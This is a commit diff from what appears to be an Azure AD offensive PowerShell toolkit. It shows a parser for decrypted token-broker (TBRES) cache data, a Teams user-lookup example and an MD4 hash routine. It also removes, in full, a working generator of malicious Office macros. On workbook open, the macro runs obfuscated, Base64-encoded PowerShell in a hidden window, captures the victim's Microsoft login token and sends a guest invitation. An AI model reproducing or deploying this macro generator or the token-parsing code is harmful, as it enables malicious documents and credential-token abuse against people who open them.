}
0x05 # UInt 32
{
$value = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
break
}
0x06 # Timestamp
{
$timestamp = [BitConverter]::ToUInt64($Data[($p + 7)..$p],0); $p += 8
$value = [datetime]::FromFileTimeUtc($timestamp)
break
}
0x07 # UInt 64
{
$value = [BitConverter]::ToUInt64($Data[($p + 7)..$p],0); $p += 8
break
}
0x0D # Guid
{
$value = [guid][byte[]]$Data[$p..($p + 15)]; $p += 16
break
}
1025 # Content identifier?
{
# This is the second content "identifier"
if($binKey.Length -eq 1 -and $binKey[0] -gt 1)
{
Write-Verbose "Content identifier $($binKey[0]), getting the next Key-Value."
# Read the size
$length = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
# Parse version
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
# Get the next value
$next = Parse-TBRESKeyValue -Data $Data -Position ([ref]$p)
$key = $next.Key
$value = $next.Value
break
}
break
}
default
{
Write-Verbose "Unknown value type $valueType"
$value = $valueType
break
}
}
$Position.Value = $p
return [PSCustomObject][ordered]@{
"Key" = $key
"Value" = $value
}
}
}
# Parses elements from decrypted TBRES response bytes content
# Nov 20 2021
Function Parse-TBRESElement
{
[cmdletbinding()]
param(
[parameter(Mandatory=$true,ValueFromPipeline)]
[byte[]]$Data,
[parameter(Mandatory=$true,ValueFromPipeline)]
[ref]$Position,
[parameter(Mandatory=$false,ValueFromPipeline)]
[PSCustomObject]$Element
)
Process
{
$p = $Position.Value
$value = $null
# Parse element & length
if(!$Element)
{
$element = Parse-TBRESKeyValue -Data $Data ([ref]$p)
}
Write-Debug $element
$elementLength = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
if($element.Key -eq "WTRes_Error")
{
Write-Verbose "WTRes_Error file, skipping.."
return $null
}
elseif($element.Key -eq "WTRes_Token")
{
Write-Verbose "Parsing WTRes_Token"
# We already read the length so adjust
$p -= 4
# Parse status
$status = Parse-TBRESKeyValue -Data $Data ([ref]$p)
if($status.Value -ne 0)
{
Write-Warning "WTRes_Token status $($status.Value)"
}
$value = $element.Value
}
# Parse WTRes_PropertyBag and WTRes_Account
else
{
$propertyBagStart = $p
Write-Verbose "Parsing $($element.Key), $elementLength bytes"
# Parse version
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
$properties = [ordered]@{}
While($p -lt ( $propertyBagStart + $elementLength))
{
$property = Parse-TBRESKeyValue -Data $Data ([ref]$p)
if($property.Key -eq "WA_Properties" -or $property.Key -eq "WA_Provier")
{
$property.Value = Parse-TBRESElement -Data $Data ([ref]$p) -Element $property
}
$properties[$property.Key] = $property.Value
}
$value = [PSCustomObject]$properties
}
$Position.Value = $p
return [PSCustomObject][ordered]@{
"Key" = $element.Key
"Value" = $value
}
}
}
$p = 0
# Parse version
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
# Parse expiration timestamp and responses guid
$expiration = (Parse-TBRESKeyValue -Data $Data ([ref]$p)).value
$responses = (Parse-TBRESKeyValue -Data $Data ([ref]$p)).value
# Total response content length
$responseLen = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
# Parse version
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
# It seems that sometimes the content have multiple "entries"
# These start with the following key-value pair:
# First: Key = 0x01 and Value = 1025
# Second: Key = 0x01 and Value = 1025
# These are handled in Parse-TBRESKeyValue function
$unk = Parse-TBRESKeyValue -Data $Data ([ref]$p)
#
# Content
#
# Content length
$contentLength = [BitConverter]::ToUInt32($Data[($p + 3)..$p],0); $p += 4
$contentStart = $p
# Parse version
Parse-TBRESVersion -Data $Data -Position ([ref]$p)
# Return value
$properties = [ordered]@{}
while($p -le ($contentStart + $contentLength))
{
try
{
$element = Parse-TBRESElement -Data $Data -Position ([ref]$p)
if($element -eq $null)
{
return $null
}
$properties[$element.Key] = $element.Value
}
catch
{
Write-Verbose "Got exception: $($_.Exception.Message)"
break
}
}
return [PSCustomObject]$properties
}
}
+17 -1
View File
@@ -1395,7 +1395,6 @@ function Get-TeamsExternalUserInformation
mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841
objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f
.EXAMPLE
PS\:>Get-AADIntAccessTokenForTeams -SaveToCache
PS\:>Get-AADIntTeamsExternalUserInformation -UserPrincipalname = "johnd@company.com"
@@ -1416,6 +1415,23 @@ function Get-TeamsExternalUserInformation
.EXAMPLE
PS\:>Get-AADIntAccessTokenForTeams -SaveToCache
PS\:>Get-AADIntTeamsExternalUserInformation -ObjectId "fe401a12-879c-4e5b-8b51-03e1985fa62f"
tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033
isShortProfile : False
accountEnabled : True
featureSettings : @{coExistenceMode=TeamsOnly}
userPrincipalName : johnd@company.com
givenName : JohnD@company.com
surname :
email : JohnD@company.com
displayName : John Doe
type : Federated
mri : 8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841
objectId : fe401a12-879c-4e5b-8b51-03e1985fa62f
PS\:>Get-AADIntAccessTokenForTeams -SaveToCache
PS\:>Get-AADIntTeamsExternalUserInformation -MRI "8:orgid:84bdccdb-eaba-4545-9729-4eff71b76841"
tenantId : dcc7d7bf-e3f5-4778-b6e0-aa7207bdb033
-152
View File
@@ -1,152 +0,0 @@
# This script contains functions for weaponising Office files
# Aug 6th 2020
function Generate-InvitationVBA
{
<#
.SYNOPSIS
Creates a VBA script block to weaponise Excel files to invite the given guest user to their tenant.
.DESCRIPTION
Creates a VBA script block to weaponise Excel files to invite the given guest user to their tenant.
The script starts when the Excel workbook is opened:
* Opens an Office 365 login window to get an access token
* Using the access token, sends an invitation for the given email address
Copy the generated script to clipboard and paste to Excel
.Example
New-AADIntInvitationVBA -Email someone@gmail.com | Set-ClipBoard
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Email,
[Validateset("Workbook","Document")]
[String]$Type="Workbook"
)
Process
{
#
# Generate the PowerShell code block
#
# First some needed assemblies are imported.
# Second, a Windows form object is created with a web browser control. The Outlook app id is used.
# Third, the login window is shown and access token is fetched
# Finally, the invitation for the given user is sent
$e="`$e=""$Email"";"
$code=@'
Add-Type -AssemblyName System.Windows.Forms;
Add-Type -AssemblyName System.Web;
$r="https://graph.microsoft.com";
$i="d3590ed6-52b3-4102-aeff-aad2292ab01c";
$u="urn:ietf:wg:oauth:2.0:oob";
$l="https://login.microsoftonline.com/common/oauth2/authorize?resource=$r&client_id=$i&response_type=code&haschrome=1&redirect_uri=$u&client-request-id=$((New-Guid).ToString())&prompt=login&scope=openid profile";
$f=[Windows.Forms.Form]::new();
$f.Width=560;
$f.Height=680;
$f.FormBorderStyle=3;
$f.TopMost=$true;
$w=[Windows.Forms.WebBrowser]::new();
$w.Size=$f.ClientSize;
$w.Anchor="Left,Top,Right,Bottom";
$f.Controls.Add($w);
$w.add_Navigated({if($_.Url.ToString().StartsWith($u)){$f.DialogResult="OK";$f.Close();};});
$w.Navigate($l);
if($f.ShowDialog()-ne"OK"){$f.Controls[0].Dispose();return};
$a=[Web.HttpUtility]::ParseQueryString($f.Controls[0].Url.Query);
$b=@{client_id=$i;grant_type="authorization_code";code=$a["code"];redirect_uri=$u};
$f.Controls[0].Dispose();
$c="application/x-www-form-urlencoded";
$o=irm -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType $c -Method POST -Body $b;
$b="{""invitedUserEmailAddress"":""$e"",""sendInvitationMessage"":true,""inviteRedirectUrl"":""https://myapps.microsoft.com""}";
$o=irm -Uri "https://graph.microsoft.com/beta/invitations" -Method Post -Body $b -Headers @{"Authorization"="Bearer $($o.access_token)"};
'@
# Convert the code block to Unicode and decode it with Base64
$unicode=[text.encoding]::Unicode.getBytes("$e$code")
$code=[convert]::ToBase64String($unicode)
#
# Create the VBA Code
#
# Generate a random function name
$funcName = -join ((97..122) | Get-Random -Count 32 | % {[char]$_})
$VBA = @"
Private Sub $($Type)_Open()
$funcName
End Sub
Sub $funcName()`n
"@
$p = 1
# Split the Base64 encoded code to shorter chunks
While(($p*500) -lt $code.Length)
{
$codeStr = $($code.Substring(($p-1)*500,500))
#$codeStrArr= $codeStr.ToCharArray()
#[array]::Reverse($codeStrArr)
#$codeStr = -join($codeStrArr)
$VBA += " i$p = ""$codeStr""`n"
$p++
}
$VBA += " i$p = ""$($code.Substring(($p-1)*500,$code.Length-($p-1)*500))""`n"
$VBA += " c1 = Chr(34) & ""pow"" & ""ershel"" & ""l.exe"" & Chr(34)`n"
$VBA += " c2 = ""-EncodedCommand """
for($i=1;$i -lt $p+1 ; $i++)
{
$VBA += " & i$i"
}
$VBA += "`n"
# Set PowerShell to start as hidden
$VBA += " c3 = "" -WindowStyle Hidden""`n"
# Create Wscript.shell object
$VBA += " Set s2 = CreateObject(""Ws"" & ""cript"" & "".s"" & ""hell"")`n"
# Invoke the PowerShell minimized
$VBA += " s2.Run c1 & c2 & c3, 2`n"
$VBA += "End Sub`n"
# Return
$VBA
}
}
function Scramble-Text
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Text,
[Parameter(Mandatory=$True)]
[String]$Secret
)
Process
{
$secretArray=$Secret.ToCharArray()
$num=0
foreach($char in $secretArray)
{
$num+=$char
}
$num = $num % 256
$textArray = $Text.ToCharArray()
}
}
BIN
View File
Binary file not shown.
-166
View File
@@ -1,166 +0,0 @@
function Get-MD4{
PARAM(
[String]$String,
[Byte[]]$bArray,
[Switch]$UpperCase,
[Switch]$AsByteArray # Added by Nestori Syynimaa Aug 23th 2019
)
# Author: Larry.Song@outlook.com
# Reference: https://tools.ietf.org/html/rfc1320
# MD4('abc'):
# a448017aaf21d8525fc10ae87aa6729d UTF-8
# e0fba38268d0ec66ef1cb452d5885e53 Unicode
$Array = [byte[]]@()
if($String)
{
$Array = [System.Text.Encoding]::Unicode.GetBytes($String) # Edited by Nestori Syynimaa Nov 16th 2018
}
if($bArray)
{
$Array = $bArray
}
# padding 100000*** to length 448, last (64 bits / 8) 8 bytes fill with original length
# at least one (512 bits / 8) 64 bytes array
$M = New-Object Byte[] (([math]::Floor($Array.Count/64) + 1) * 64)
# copy original byte array, start from index 0
$Array.CopyTo($M, 0)
# padding bits 1000 0000
$M[$Array.Count] = 0x80
# padding bits 0000 0000 to fill length (448 bits /8) 56 bytes
# Default value is 0 when creating a new byte array, so, no action
# padding message length to the last 64 bits
@([BitConverter]::GetBytes($Array.Count * 8)).CopyTo($M, $M.Count - 8)
# message digest buffer (A,B,C,D)
$A = [Convert]::ToUInt32('0x67452301', 16)
$B = [Convert]::ToUInt32('0xefcdab89', 16)
$C = [Convert]::ToUInt32('0x98badcfe', 16)
$D = [Convert]::ToUInt32('0x10325476', 16)
# There is no unsigned number shift in C#, have to define one.
Add-Type -TypeDefinition @'
public class Shift
{
public static uint Left(uint a, int b)
{
return ((a << b) | (((a >> 1) & 0x7fffffff) >> (32 - b - 1)));
}
}
'@
# define 3 auxiliary functions
function FF([uint32]$X, [uint32]$Y, [uint32]$Z)
{
(($X -band $Y) -bor ((-bnot $X) -band $Z))
}
function GG([uint32]$X, [uint32]$Y, [uint32]$Z)
{
(($X -band $Y) -bor ($X -band $Z) -bor ($Y -band $Z))
}
function HH([uint32]$X, [uint32]$Y, [uint32]$Z){
($X -bxor $Y -bxor $Z)
}
# processing message in one-word blocks
for($i = 0; $i -lt $M.Count; $i += 64)
{
# Save a copy of A/B/C/D
$AA = $A
$BB = $B
$CC = $C
$DD = $D
# Round 1 start
$A = [Shift]::Left(($A + (FF -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 0)..($i + 3)], 0)) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (FF -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 4)..($i + 7)], 0)) -band [uint32]::MaxValue, 7)
$C = [Shift]::Left(($C + (FF -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 8)..($i + 11)], 0)) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (FF -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 12)..($i + 15)], 0)) -band [uint32]::MaxValue, 19)
$A = [Shift]::Left(($A + (FF -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 16)..($i + 19)], 0)) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (FF -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 20)..($i + 23)], 0)) -band [uint32]::MaxValue, 7)
$C = [Shift]::Left(($C + (FF -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 24)..($i + 27)], 0)) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (FF -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 28)..($i + 31)], 0)) -band [uint32]::MaxValue, 19)
$A = [Shift]::Left(($A + (FF -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 32)..($i + 35)], 0)) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (FF -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 36)..($i + 39)], 0)) -band [uint32]::MaxValue, 7)
$C = [Shift]::Left(($C + (FF -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 40)..($i + 43)], 0)) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (FF -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 44)..($i + 47)], 0)) -band [uint32]::MaxValue, 19)
$A = [Shift]::Left(($A + (FF -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 48)..($i + 51)], 0)) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (FF -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 52)..($i + 55)], 0)) -band [uint32]::MaxValue, 7)
$C = [Shift]::Left(($C + (FF -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 56)..($i + 59)], 0)) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (FF -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 60)..($i + 63)], 0)) -band [uint32]::MaxValue, 19)
# Round 1 end
# Round 2 start
$A = [Shift]::Left(($A + (GG -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 0)..($i + 3)], 0) + 0x5A827999) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (GG -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 16)..($i + 19)], 0) + 0x5A827999) -band [uint32]::MaxValue, 5)
$C = [Shift]::Left(($C + (GG -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 32)..($i + 35)], 0) + 0x5A827999) -band [uint32]::MaxValue, 9)
$B = [Shift]::Left(($B + (GG -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 48)..($i + 51)], 0) + 0x5A827999) -band [uint32]::MaxValue, 13)
$A = [Shift]::Left(($A + (GG -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 4)..($i + 7)], 0) + 0x5A827999) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (GG -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 20)..($i + 23)], 0) + 0x5A827999) -band [uint32]::MaxValue, 5)
$C = [Shift]::Left(($C + (GG -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 36)..($i + 39)], 0) + 0x5A827999) -band [uint32]::MaxValue, 9)
$B = [Shift]::Left(($B + (GG -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 52)..($i + 55)], 0) + 0x5A827999) -band [uint32]::MaxValue, 13)
$A = [Shift]::Left(($A + (GG -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 8)..($i + 11)], 0) + 0x5A827999) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (GG -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 24)..($i + 27)], 0) + 0x5A827999) -band [uint32]::MaxValue, 5)
$C = [Shift]::Left(($C + (GG -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 40)..($i + 43)], 0) + 0x5A827999) -band [uint32]::MaxValue, 9)
$B = [Shift]::Left(($B + (GG -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 56)..($i + 59)], 0) + 0x5A827999) -band [uint32]::MaxValue, 13)
$A = [Shift]::Left(($A + (GG -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 12)..($i + 15)], 0) + 0x5A827999) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (GG -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 28)..($i + 31)], 0) + 0x5A827999) -band [uint32]::MaxValue, 5)
$C = [Shift]::Left(($C + (GG -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 44)..($i + 47)], 0) + 0x5A827999) -band [uint32]::MaxValue, 9)
$B = [Shift]::Left(($B + (GG -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 60)..($i + 63)], 0) + 0x5A827999) -band [uint32]::MaxValue, 13)
# Round 2 end
# Round 3 start
$A = [Shift]::Left(($A + (HH -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 0)..($i + 3)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (HH -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 32)..($i + 35)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 9)
$C = [Shift]::Left(($C + (HH -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 16)..($i + 19)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (HH -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 48)..($i + 51)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 15)
$A = [Shift]::Left(($A + (HH -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 8)..($i + 11)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (HH -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 40)..($i + 43)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 9)
$C = [Shift]::Left(($C + (HH -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 24)..($i + 27)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (HH -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 56)..($i + 59)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 15)
$A = [Shift]::Left(($A + (HH -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 4)..($i + 7)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (HH -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 36)..($i + 39)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 9)
$C = [Shift]::Left(($C + (HH -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 20)..($i + 23)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (HH -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 52)..($i + 55)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 15)
$A = [Shift]::Left(($A + (HH -X $B -Y $C -Z $D) + [BitConverter]::ToUInt32($M[($i + 12)..($i + 15)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 3)
$D = [Shift]::Left(($D + (HH -X $A -Y $B -Z $C) + [BitConverter]::ToUInt32($M[($i + 44)..($i + 47)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 9)
$C = [Shift]::Left(($C + (HH -X $D -Y $A -Z $B) + [BitConverter]::ToUInt32($M[($i + 28)..($i + 31)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 11)
$B = [Shift]::Left(($B + (HH -X $C -Y $D -Z $A) + [BitConverter]::ToUInt32($M[($i + 60)..($i + 63)], 0) + 0x6ED9EBA1) -band [uint32]::MaxValue, 15)
# Round 3 end
# Increment start
$A = ($A + $AA) -band [uint32]::MaxValue
$B = ($B + $BB) -band [uint32]::MaxValue
$C = ($C + $CC) -band [uint32]::MaxValue
$D = ($D + $DD) -band [uint32]::MaxValue
# Increment end
}
# Output start
$A = ('{0:x8}' -f $A) -ireplace '^(\w{2})(\w{2})(\w{2})(\w{2})$', '$4$3$2$1'
$B = ('{0:x8}' -f $B) -ireplace '^(\w{2})(\w{2})(\w{2})(\w{2})$', '$4$3$2$1'
$C = ('{0:x8}' -f $C) -ireplace '^(\w{2})(\w{2})(\w{2})(\w{2})$', '$4$3$2$1'
$D = ('{0:x8}' -f $D) -ireplace '^(\w{2})(\w{2})(\w{2})(\w{2})$', '$4$3$2$1'
# Output end
if($AsByteArray)
{
return [byte[]]("$A$B$C$D" -replace '..', '0x$&,' -split ',' -ne '')
}
else
{
if($UpperCase)
{
return "$A$B$C$D".ToUpper()
}
else
{
return "$A$B$C$D"
}
}
}